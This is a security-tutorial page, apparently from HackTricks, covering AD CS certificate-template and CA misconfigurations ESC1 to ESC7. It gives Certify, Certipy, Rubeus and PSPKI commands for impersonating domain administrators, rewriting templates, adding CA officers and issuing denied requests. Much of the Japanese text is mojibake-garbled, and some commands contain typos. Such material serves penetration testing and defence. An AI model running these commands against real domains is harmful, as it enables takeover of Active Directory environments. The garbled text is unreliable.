AD CS ãã¡ã€ã³æš©éææ Œ
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
ããã¯ä»¥äžã®æçš¿ã®æš©éææ Œææ³ã»ã¯ã·ã§ã³ã®èŠçŽã§ãïŒ
- https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
- https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
- https://github.com/ly4k/Certipy
èšŒææžãã³ãã¬ãŒãã®èª€èšå® - ESC1
説æ
èšŒææžãã³ãã¬ãŒãã®èª€èšå® - ESC1 ã®èª¬æ
- Enterprise CA ã«ãã£ãŠäœæš©éãŠãŒã¶ãŒã« enrolment æš©éãä»äžãããŠããã
- ãããŒãžã£ãŒã®æ¿èªã¯äžèŠã§ããã
- æ¿èªãããæ åœè ã®çœ²åã¯äžèŠã§ããã
- èšŒææžãã³ãã¬ãŒãäžã®ã»ãã¥ãªãã£èšè¿°åãé床ã«ç·©ããäœæš©éãŠãŒã¶ãŒã enrolment æš©éãååŸã§ããã
- èšŒææžãã³ãã¬ãŒãã¯èªèšŒãå¯èœã«ãã EKU ãå®çŸ©ããããã«èšå®ãããŠããïŒ
- Extended Key Usage (EKU) ã®èå¥åãšããŠãClient Authentication (OID 1.3.6.1.5.5.7.3.2)ãPKINIT Client Authentication (1.3.6.1.5.2.3.4)ãSmart Card Logon (OID 1.3.6.1.4.1.311.20.2.2)ãAny Purpose (OID 2.5.29.37.0)ãããã㯠EKU ããªããã®ïŒSubCAïŒãªã©ãå«ãŸããã
- ãã³ãã¬ãŒãã«ãã£ãŠããªã¯ãšã¹ã¿ãŒã Certificate Signing Request (CSR) ã« subjectAltName ãå«ããããšãèš±å¯ãããŠããïŒ
- Active Directory (AD) ã¯ãèšŒææžã« subjectAltName (SAN) ãå«ãŸããŠããå Žåãèå¥ã®éã«ãããåªå
ãããã€ãŸããCSR ã§ SAN ãæå®ããã°ãä»»æã®ãŠãŒã¶ãŒïŒäŸïŒãã¡ã€ã³ç®¡çè
ïŒã«ãªãããŸããèšŒææžãèŠæ±ã§ãããšããããšã ãSAN ããªã¯ãšã¹ã¿ãŒãæå®ã§ãããã¯ãèšŒææžãã³ãã¬ãŒãã® AD ãªããžã§ã¯ãã«ãã
mspki-certificate-name-flagããããã£ã§ç€ºãããããã®ããããã£ã¯ããããã¹ã¯ã§ãããCT_FLAG_ENROLLEE_SUPPLIES_SUBJECTãã©ã°ãååšãããšãªã¯ãšã¹ã¿ãŒã SAN ãæå®ã§ããã
Caution
äžèšã®èšå®ã§ã¯äœæš©éãŠãŒã¶ãŒãä»»æã® SAN ãæã€èšŒææžãèŠæ±ã§ããKerberos ãŸã㯠SChannel ãçšããŠä»»æã®ãã¡ã€ã³äž»äœãšããŠèªèšŒã§ããŠããŸãã
ãã®æ©èœã¯ã補åããããã€ã¡ã³ããµãŒãã¹ã HTTPS ããã¹ãèšŒææžããªã³ã¶ãã©ã€ã§çæããã®ããµããŒãããããããããã¯çè§£äžè¶³ã«ããæå¹åãããŠããããšãããã
ãã®ãªãã·ã§ã³ã§èšŒææžãäœæãããšèŠåãåºãç¹ã«æ³šæãå¿
èŠã ããæ¢åã®èšŒææžãã³ãã¬ãŒãïŒäŸãã° WebServer ãã³ãã¬ãŒãã®ããã« CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT ãæå¹ã«ãªã£ãŠãããã®ïŒãè€è£œããŠèªèšŒçšã® OID ã远å ããå Žåã«ã¯åãèŠåãåºãªãããšãããã
æªçš
è匱ãªèšŒææžãã³ãã¬ãŒããèŠã€ããã«ã¯ã次ãå®è¡ããïŒ
Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
ãã®è匱æ§ãæªçšããŠç®¡çè ã«ãªãããŸãã«ã¯ã次ãå®è¡ã§ããŸã:
# Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local
# Optionally pin the target's SID into the request (post-2022 SID mapping aware)
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator /sid:S-1-5-21-1111111111-2222222222-3333333333-500
# Some CAs accept an otherName/URL SAN attribute carrying the SID value as well
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator \
/url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-1111111111-2222222222-3333333333-500
# Certipy equivalent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
-template 'ESC1' -upn 'administrator@corp.local'
ãã®åŸãçæãããèšŒææžã .pfx 圢åŒã«å€æãããããçšããŠRubeus ãŸã㯠certipy ã§å床èªèšŒã§ããŸã:
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
Windows ãã€ã㪠âCertreq.exeâ ãš âCertutil.exeâ 㯠PFX ãçæããããã«äœ¿çšã§ããŸã: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
AD Forest ã® configuration schema å
ã® certificate templates ã®åæã¯ãç¹ã«æ¿èªã眲åãå¿
èŠãšãããClient Authentication ãŸã㯠Smart Card Logon EKU ãæã¡ãCT_FLAG_ENROLLEE_SUPPLIES_SUBJECT ãã©ã°ãæå¹ãªãã®ã«ã€ããŠã次㮠LDAP ã¯ãšãªãå®è¡ããããšã§è¡ããŸã:
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
èª€æ§æã®èšŒææžãã³ãã¬ãŒã - ESC2
説æ
2çªç®ã®æªçšã·ããªãªã¯ãæåã®ãã®ã®å€åœ¢ã§ã:
- Enterprise CA ã«ãããäœæš©éã®ãŠãŒã¶ãŒã«èšŒææžã®ç»é²æš©éãä»äžãããã
- ãããŒãžã£ãŒã®æ¿èªèŠä»¶ãç¡å¹åãããŠããã
- èªå¯ããã眲åã®å¿ èŠæ§ãçç¥ãããŠããã
- èšŒææžãã³ãã¬ãŒãã®ã»ãã¥ãªãã£èšè¿°åãé床ã«èš±å®¹çã§ãäœæš©éã®ãŠãŒã¶ãŒã«èšŒææžç»é²æš©éãäžããŠããã
- èšŒææžãã³ãã¬ãŒãã Any Purpose EKU ãå«ãããŸã㯠EKU ãæããªãããã«å®çŸ©ãããŠããã
Any Purpose EKU ã¯ãæ»æè ãã¯ã©ã€ã¢ã³ãèªèšŒããµãŒããŒèªèšŒãã³ãŒã眲åãªã©ãå«ã ããããç®ç ã®ããã«èšŒææžãååŸã§ããããã«ãããESC3 ã§äœ¿çšãããã®ãšåãææ³ ãå©çšããŠãã®ã·ããªãªãæªçšã§ããã
EKU ã®ãªãèšŒææžã¯äžäœ CA èšŒææžãšããŠæ©èœããããããç®ç ã«æªçšããåŸãããæ°ããèšŒææžã®çœ²åã«ã䜿çšã§ããããããã£ãŠæ»æè ã¯äžäœ CA èšŒææžãå©çšããŠãæ°ããèšŒææžã«ä»»æã® EKU ããã£ãŒã«ããæå®ã§ããã
ãã ããäžäœ CA ãããã©ã«ãèšå®ã§ä¿¡é ŒãããŠãã NTAuthCertificates ãªããžã§ã¯ãã«ããä¿¡é ŒãããŠããªãå Žåããã¡ã€ã³èªèšŒ çšã«äœæãããæ°ããèšŒææžã¯æ©èœããªããããã§ãæ»æè
㯠任æã®EKUãæã€æ°ããèšŒææž ãä»»æã®èšŒææžå€ãäœæããããšãã§ããããããã¯ïŒäŸïŒã³ãŒã眲åããµãŒããŒèªèšŒãªã©ïŒå¹
åºãç®çã§æœåšçã« æªçš ããåŸãŠãSAMLãAD FSãIPSec ã®ãããªãããã¯ãŒã¯å
ã®ä»ã®ã¢ããªã±ãŒã·ã§ã³ã«é倧ãªåœ±é¿ãåãŒãå¯èœæ§ãããã
AD ãã©ã¬ã¹ãã®æ§æã¹ããŒãå ã§ãã®ã·ããªãªã«äžèŽãããã³ãã¬ãŒããåæããã«ã¯ã次㮠LDAP ã¯ãšãªãå®è¡ã§ãã:
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
Misconfigured Enrolment Agent Templates - ESC3
説æ
ãã®ã·ããªãªã¯æåãš2çªç®ã®ãã®ãšäŒŒãŠããŸãããå¥ã® EKUïŒCertificate Request AgentïŒãš2ã€ã®ç°ãªããã³ãã¬ãŒããæªçšããç¹ãç°ãªãããã®ããèŠä»¶ã2ã»ãããããŸãã
The Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1), known as Enrollment Agent in Microsoft documentation, allows a principal to enroll for a certificate on behalf of another user.
ãã®**âenrollment agentâã¯ãã®ãããªãã³ãã¬ãŒãã«ç»é²ããååŸããèšŒææžãçšããŠä»ã®ãŠãŒã¶ã®ä»£çãšããŠCSRã«å ±çœ²ïŒco-signïŒããŸã**ãæ¬¡ã«ãã®å ±çœ²æžã¿CSRãCAã«éä¿¡ããCAã¯âä»è ã®ä»£çã§ç»é²ïŒenroll on behalf ofïŒâãèš±å¯ãããã³ãã¬ãŒããžã®ç»é²ãè¡ããCAã¯âä»ã®âãŠãŒã¶ã«å±ããèšŒææžãçºè¡ããŸãã
Requirements 1:
- Enterprise CA ã«ãã£ãŠäœæš©éãŠãŒã¶ã«ç»é²æš©éãä»äžãããŠããã
- ãããŒãžã£æ¿èªã®èŠä»¶ãçç¥ãããŠããã
- èªå¯ããã眲åã®èŠä»¶ããªãã
- èšŒææžãã³ãã¬ãŒãã®ã»ãã¥ãªãã£èšè¿°åãé床ã«ç·©ããäœæš©éãŠãŒã¶ã«ç»é²æš©éãä»äžããŠããã
- ãã®èšŒææžãã³ãã¬ãŒã㯠Certificate Request Agent EKU ãå«ã¿ãä»ã®äž»äœã®ä»£çã§ä»ã®èšŒææžãã³ãã¬ãŒããèŠæ±ã§ããããã«ãªã£ãŠããã
Requirements 2:
- Enterprise CA ãäœæš©éãŠãŒã¶ã«ç»é²æš©éãä»äžããŠããã
- ãããŒãžã£æ¿èªããã€ãã¹ãããã
- ãã³ãã¬ãŒãã®ã¹ããŒãããŒãžã§ã³ã1ã§ããã2ãè¶ ããŠãããCertificate Request Agent EKU ãå¿ èŠãšãã Application Policy Issuance Requirement ãæå®ããŠããã
- èšŒææžãã³ãã¬ãŒãã«å®çŸ©ããã EKU ã®ãã¡ããã¡ã€ã³èªèšŒãèš±å¯ãããã®ãããã
- CA äžã§ enrollment agent ã«å¯Ÿããå¶éãé©çšãããŠããªãã
Abuse
ãã®ã·ããªãªãæªçšããã«ã¯ Certify ãŸã㯠Certipy ã䜿çšã§ããŸã:
# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'
# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
The users who are allowed to obtain an enrollment agent certificate, the templates in which enrollment agents are permitted to enroll, and the accounts on behalf of which the enrollment agent may act can be constrained by enterprise CAs. This is achieved by opening the certsrc.msc snap-in, right-clicking on the CA, clicking Properties, and then navigating to the âEnrollment Agentsâ tab.
However, it is noted that the default setting for CAs is to âDo not restrict enrollment agents.â When the restriction on enrollment agents is enabled by administrators, setting it to âRestrict enrollment agents,â the default configuration remains extremely permissive. It allows Everyone access to enroll in all templates as anyone.
è匱ãªèšŒææžãã³ãã¬ãŒãã®ã¢ã¯ã»ã¹å¶åŸ¡ - ESC4
説æ
The security descriptor on certificate templates defines the permissions specific AD principals possess concerning the template.
Should an attacker possess the requisite permissions to alter a template and institute any exploitable misconfigurations outlined in prior sections, privilege escalation could be facilitated.
Notable permissions applicable to certificate templates include:
- Owner: ãªããžã§ã¯ãã«å¯Ÿããæé»ã®å¶åŸ¡ãä»äžããä»»æã®å±æ§ã倿Žããããšãå¯èœã«ããŸãã
- FullControl: ãªããžã§ã¯ãã«å¯Ÿããå®å šãªæš©éãäžããä»»æã®å±æ§ã倿Žããèœåãå«ã¿ãŸãã
- WriteOwner: ãªããžã§ã¯ãã®ææè ãæ»æè ã®ç®¡çäžã«ããããªã³ã·ãã«ã«å€æŽããããšãèš±å¯ããŸãã
- WriteDacl: ã¢ã¯ã»ã¹å¶åŸ¡ã調æŽã§ããæ»æè ã« FullControl ãä»äžããå¯èœæ§ããããŸãã
- WriteProperty: ä»»æã®ãªããžã§ã¯ãããããã£ã®ç·šéãèš±å¯ããŸãã
æªçš
To identify principals with edit rights on templates and other PKI objects, enumerate with Certify:
Certify.exe find /showAllPermissions
Certify.exe pkiobjects /domain:corp.local /showAdmins
An example of a privesc like the previous one:
.png)
ESC4 ã¯ããŠãŒã¶ãŒãèšŒææžãã³ãã¬ãŒãã«å¯ŸããŠæžãèŸŒã¿æš©éãæã£ãŠããå Žåã§ããäŸãã°ãèšŒææžãã³ãã¬ãŒãã®èšå®ãäžæžãããŠãã³ãã¬ãŒãã ESC1 ã«å¯ŸããŠè匱ã«ããããæªçšã§ããŸãã
äžã®ãã¹ããåããããã«ããããã®æš©éãæã£ãŠããã®ã¯ JOHNPC ã®ã¿ã§ãããæã
ã®ãŠãŒã¶ãŒ JOHN 㯠JOHNPC ãžã®æ°ãã AddKeyCredentialLink ãšããžãæã£ãŠããŸãããã®ææ³ã¯èšŒææžã«é¢é£ããŠãããããç§ã¯ãã®æ»æãå®è£
ããŸããããã㯠Shadow Credentials ãšããŠç¥ãããŠããŸãã以äžã¯è¢«å®³è
ã® NT hash ãååŸãã Certipy ã® shadow auto ã³ãã³ãã®ç°¡åãªãã¬ãã¥ãŒã§ãã
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
Certipyã¯åäžã®ã³ãã³ãã§èšŒææžãã³ãã¬ãŒãã®èšå®ãäžæžãã§ããŸããããã©ã«ãã§ã¯ãCertipyã¯èšå®ãäžæžãããŠESC1ã«è匱ã«ããŸãããŸãã-save-old ãã©ã¡ãŒã¿ã§å€ãèšå®ãä¿åããããšãæå®ã§ããããã¯æ»æåŸã«èšå®ã埩å
ããã®ã«åœ¹ç«ã¡ãŸãã
# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local
# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
Vulnerable PKI Object Access Control - ESC5
Explanation
ACL ããŒã¹ã®çžäºé¢ä¿ã®åºç¯ãªãããã¯ãŒã¯ã¯ãcertificate templates ã certificate authority ãè¶ ããè€æ°ã®ãªããžã§ã¯ããå«ã¿ãAD CS ã·ã¹ãã å šäœã®ã»ãã¥ãªãã£ã«åœ±é¿ãåãŒãå¯èœæ§ããããŸããã»ãã¥ãªãã£ã«é倧ãªåœ±é¿ãäžãåŸããããã®ãªããžã§ã¯ãã«ã¯ã次ãå«ãŸããŸã:
- S4U2Self ã S4U2Proxy ã®ãããªã¡ã«ããºã ã§äŸµå®³ããåŸããCA ãµãŒããŒã® AD ã³ã³ãã¥ãŒã¿ãªããžã§ã¯ãã
- CA ãµãŒããŒã® RPC/DCOM ãµãŒããŒã
- ç¹å®ã®ã³ã³ãããã¹
CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>ã®é äžã«ããä»»æã®åå« AD ãªããžã§ã¯ããã³ã³ããããã®ãã¹ã«ã¯ãCertificate Templates containerãCertification Authorities containerãNTAuthCertificates ãªããžã§ã¯ããEnrollment Services Container ãªã©ïŒãããã«éå®ãããªãïŒãå«ãŸããŸãã
ãããã®éèŠã³ã³ããŒãã³ãã®ãããããäœæš©éã®æ»æè ãææ¡ãããšãPKI ã·ã¹ãã ã®ã»ãã¥ãªãã£ã¯æãªãããŸãã
EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
Explanation
The subject discussed in the CQure Academy post also touches on the EDITF_ATTRIBUTESUBJECTALTNAME2 flagâs implications, as outlined by Microsoft. This configuration, when activated on a Certification Authority (CA), permits the inclusion of user-defined values in the subject alternative name for any request, including those constructed from Active Directory®. Consequently, this provision allows an intruder to enroll through any template set up for domain authenticationâspecifically those open to unprivileged user enrollment, like the standard User template. As a result, a certificate can be secured, enabling the intruder to authenticate as a domain administrator or any other active entity within the domain.
Note: The approach for appending alternative names into a Certificate Signing Request (CSR), through the -attrib "SAN:" argument in certreq.exe (referred to as âName Value Pairsâ), presents a contrast from the exploitation strategy of SANs in ESC1. Here, the distinction lies in how account information is encapsulatedâwithin a certificate attribute, rather than an extension.
Abuse
To verify whether the setting is activated, organizations can utilize the following command with certutil.exe:
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
ãã®æäœã¯æ¬è³ªçã« remote registry access ãå©çšããŠããããã代æ¿ã®ã¢ãããŒãã¯æ¬¡ã®ããã«ãªããããããŸããïŒ
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
Certify ãš Certipy ã®ãããªããŒã«ã¯ããã®èª€èšå®ãæ€åºããŠæªçšã§ããŸã:
# Detect vulnerabilities, including this one
Certify.exe find
# Exploit vulnerability
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
ãããã®èšå®ã倿Žããã«ã¯ãdomain administrative æš©éãŸãã¯åçã®æš©éãæã£ãŠããããšãåæã«ãä»»æã®ã¯ãŒã¯ã¹ããŒã·ã§ã³ããæ¬¡ã®ã³ãã³ããå®è¡ã§ããŸã:
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
ãã®èšå®ãç°å¢ã§ç¡å¹ã«ããã«ã¯ãflag ãæ¬¡ã®ããã«åé€ããŸã:
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
Warning
2022幎5æã®ã»ãã¥ãªãã£æŽæ°ä»¥éãæ°ãã«çºè¡ãããèšŒææžã«ã¯ã»ãã¥ãªãã£æ¡åŒµãå«ãŸãããã®æ¡åŒµã¯èŠæ±è ã®
objectSidããããã£ãçµã¿èŸŒã¿ãŸããESC1ã§ã¯ããã®SIDã¯æå®ããã SAN ããæŽŸçããŸããããããESC6ã§ã¯SIDã¯SANã§ã¯ãªã**èŠæ±è ã®objectSid**ãåæ ããŸãã
ESC6ãæªçšããã«ã¯ãã·ã¹ãã ãESC10 (Weak Certificate Mappings) ã«è匱ã§ãããæ°ããã»ãã¥ãªãã£æ¡åŒµãããSANãåªå ããå¿ èŠããããŸãã
è匱ãªèšŒææ©é¢ã®ã¢ã¯ã»ã¹å¶åŸ¡ - ESC7
æ»æ 1
説æ
èšŒææ©é¢ã®ã¢ã¯ã»ã¹å¶åŸ¡ã¯ãCAã®æäœã管çããäžé£ã®æš©éã«ãã£ãŠç¶æãããŸãããããã®æš©éã¯ãcertsrv.msc ãèµ·åã㊠CA ãå³ã¯ãªãã¯ããããããã£ãéžæããŠã»ãã¥ãªãã£ã¿ãã«ç§»åããããšã§è¡šç€ºã§ããŸããããã«ãPSPKI ã¢ãžã¥ãŒã«ã䜿çšããŠæ¬¡ã®ãããªã³ãã³ãã§æš©éãåæããããšãå¯èœã§ã:
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
ããã¯äž»èŠãªæš©éãããªãã¡ ManageCA ãš ManageCertificates ã«é¢ããæŽå¯ãæäŸãããããã âCA 管çè
â ãš âèšŒææžãããŒãžã£ãŒâ ã®åœ¹å²ã«å¯Ÿå¿ããŸãã
æªçš
èšŒææžçºè¡æ©é¢ (CA) ã«å¯Ÿã㊠ManageCA æš©éãæã€ãšãäž»äœã¯ PSPKI ã䜿ã£ãŠãªã¢ãŒãã§èšå®ãæäœã§ããŸããããã«ã¯ EDITF_ATTRIBUTESUBJECTALTNAME2 ãã©ã°ãåãæ¿ããŠä»»æã®ãã³ãã¬ãŒãã§ SAN ã®æå®ãèš±å¯ããããšãå«ãŸããããã¯ãã¡ã€ã³æš©éææ Œã®éèŠãªèŠçŽ ã§ãã
ãã®ããã»ã¹ã¯ PSPKI ã® Enable-PolicyModuleFlag cmdlet ã䜿çšããããšã§ç°¡ç¥åã§ããGUI ãçŽæ¥æäœããã«å€æŽãå¯èœã«ãªããŸãã
ManageCertificates æš©éãæã€ãšãä¿çäžã®ãªã¯ãšã¹ããæ¿èªã§ããäºå®äžãCA èšŒææžãããŒãžã£ãŒã®æ¿èªãä¿è·çãåé¿ã§ããŸãã
A combination of Certify and PSPKI modules can be utilized to request, approve, and download a certificate:
# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response : The certificate is still pending.
[*] Request ID : 336
[...]
# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest
# Download the certificate
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
Attack 2
説æ
Warning
åã®æ»æã§ã¯
Manage CAæš©éã䜿çšã㊠EDITF_ATTRIBUTESUBJECTALTNAME2 ãã©ã°ãæå¹åã ESC6 æ»æ ãå®è¡ããŸããããCAãµãŒãã¹ïŒCertSvcïŒãåèµ·åãããŸã§ããã¯å¹æãæã¡ãŸããããŠãŒã¶ãŒãManage CAã¢ã¯ã»ã¹æš©ãæã£ãŠããå Žåããã®ãŠãŒã¶ãŒã¯ ãµãŒãã¹ãåèµ·åãã ããšãèš±å¯ãããŸããããããããããã®ãŠãŒã¶ãŒã«ãµãŒãã¹ããªã¢ãŒãã§åèµ·åããæš©éãäžããããã§ã¯ãããŸãããããã«ãã»ãšãã©ã®ãããé©çšæžã¿ç°å¢ã§ã¯ã2022幎5æã®ã»ãã¥ãªãã£æŽæ°ã®ããã« ESC6ã¯ãã®ãŸãŸã§ã¯åäœããªãå ŽåããããŸãã
ããã§ãå¥ã®æ»æãããã§ç޹ä»ããŸãã
åææ¡ä»¶:
- Only
ManageCApermission Manage CertificatespermissionïŒManageCAããä»äžå¯èœïŒ- èšŒææžãã³ãã¬ãŒã
SubCA㯠æå¹å ãããŠããå¿ èŠãããïŒManageCAããæå¹åå¯èœïŒ
ãã®ææ³ã¯ãManage CA ããã³ Manage Certificates ã¢ã¯ã»ã¹æš©ãæã€ãŠãŒã¶ãŒã 倱æããèšŒææžèŠæ±ãçºè¡ã§ãã ãšããäºå®ã«äŸåããŸããèšŒææžãã³ãã¬ãŒã SubCA 㯠ESC1 ã«å¯ŸããŠè匱 ã§ããããã³ãã¬ãŒããžç»é²ã§ããã®ã¯ 管çè
ã®ã¿ ã§ãããããã£ãŠããŠãŒã¶ãŒ 㯠SubCA ãžã®ç»é²ã èŠæ± ã§ããŸã â ãã㯠æåŠ ãããŸã â ãããã®åŸãããŒãžã£ãŒã«ãã£ãŠ çºè¡ããã ããšã«ãªããŸãã
æªçš
ãŠãŒã¶ãŒãæ°ããæ
åœè
ãšããŠè¿œå ããããšã§ãManage Certificates ã®ã¢ã¯ã»ã¹æš©ãèªåã«ä»äžã§ããŸãã
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'John' on 'corp-DC-CA'
SubCA ãã³ãã¬ãŒãã¯ã-enable-template ãã©ã¡ãŒã¿ã䜿çšããŠCA äžã§æå¹åã§ããŸããããã©ã«ãã§ã¯ãSubCA ãã³ãã¬ãŒãã¯æå¹ã«ãªã£ãŠããŸãã
# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it
# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
ãã®æ»æã®åææ¡ä»¶ãæºãããŠããã°ãSubCA ãã³ãã¬ãŒãã«åºã¥ãèšŒææžã®ãªã¯ãšã¹ããéå§ã§ããŸãã
ãã®ãªã¯ãšã¹ãã¯æåŠãããŸãããç§å¯éµãä¿åãããªã¯ãšã¹ãIDãæ§ããŸãã
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
Manage CA and Manage Certificates ãæã£ãŠããã°ãca ã³ãã³ããš -issue-request <request ID> ãã©ã¡ãŒã¿ã§ã倱æããèšŒææžãçºè¡ãããªã¯ãšã¹ããå®è¡ã§ããŸãã
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
æåŸã«ãreq ã³ãã³ããš -retrieve <request ID> ãã©ã¡ãŒã¿ã䜿çšããŠãçºè¡ãããèšŒææžãååŸã§ããŸãã
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'
æ»æ 3 â Manage Certificates Extension Abuse (SetExtension)
説æ
å€å žç㪠ESC7 ã®æªçšïŒEDITF 屿§ã®æå¹åãä¿çäžãªã¯ãšã¹ãã®æ¿èªïŒã«å ããCertify 2.0 㯠Enterprise CA äžã§ Manage CertificatesïŒå¥å Certificate Manager / OfficerïŒããŒã«ã ãã§å®è¡ã§ããæ°ããããªããã£ããæããã«ããŸããã
ICertAdmin::SetExtension RPC ã¡ãœãã㯠Manage Certificates ãæã€ä»»æã®äž»äœã«ãã£ãŠå®è¡ã§ããŸããåŸæ¥ããã®ã¡ãœããã¯æ£åœãª CA ã ä¿çäž ã®ãªã¯ãšã¹ãã®æ¡åŒµãæŽæ°ããããã«äœ¿çšããŠããŸããããæ»æè
ã¯ãããæªçšããŠæ¿èªåŸ
ã¡ã®ãªã¯ãšã¹ãã«å¯Ÿã㊠éããã©ã«ãã®èšŒææžæ¡åŒµïŒäŸãã° 1.1.1.1 ã®ãããªã«ã¹ã¿ã 㪠Certificate Issuance Policy OIDïŒã远èšã§ããŸãã
察象ã®ãã³ãã¬ãŒãããã®æ¡åŒµã®ããã©ã«ãå€ãå®çŸ©ããŠããªãå Žåããªã¯ãšã¹ããæçµçã«çºè¡ãããŠã CA ã¯æ»æè ãæå®ããå€ãäžæžãããŸãããçµæãšããŠåŸãããèšŒææžã«ã¯æ»æè ãéžæããæ¡åŒµãå«ãŸããããã«ããïŒ
- ä»ã®è匱ãªãã³ãã¬ãŒãã® Application / Issuance Policy èŠä»¶ãæºããïŒæš©éææ Œã«ã€ãªããïŒåŸãã
- 远å ã® EKU ãããªã·ãŒãæ³šå ¥ãã第äžè ã·ã¹ãã ã«å¯ŸããŠèšŒææžã«äºæããªãä¿¡é Œãä»äžããå¯èœæ§ãããã
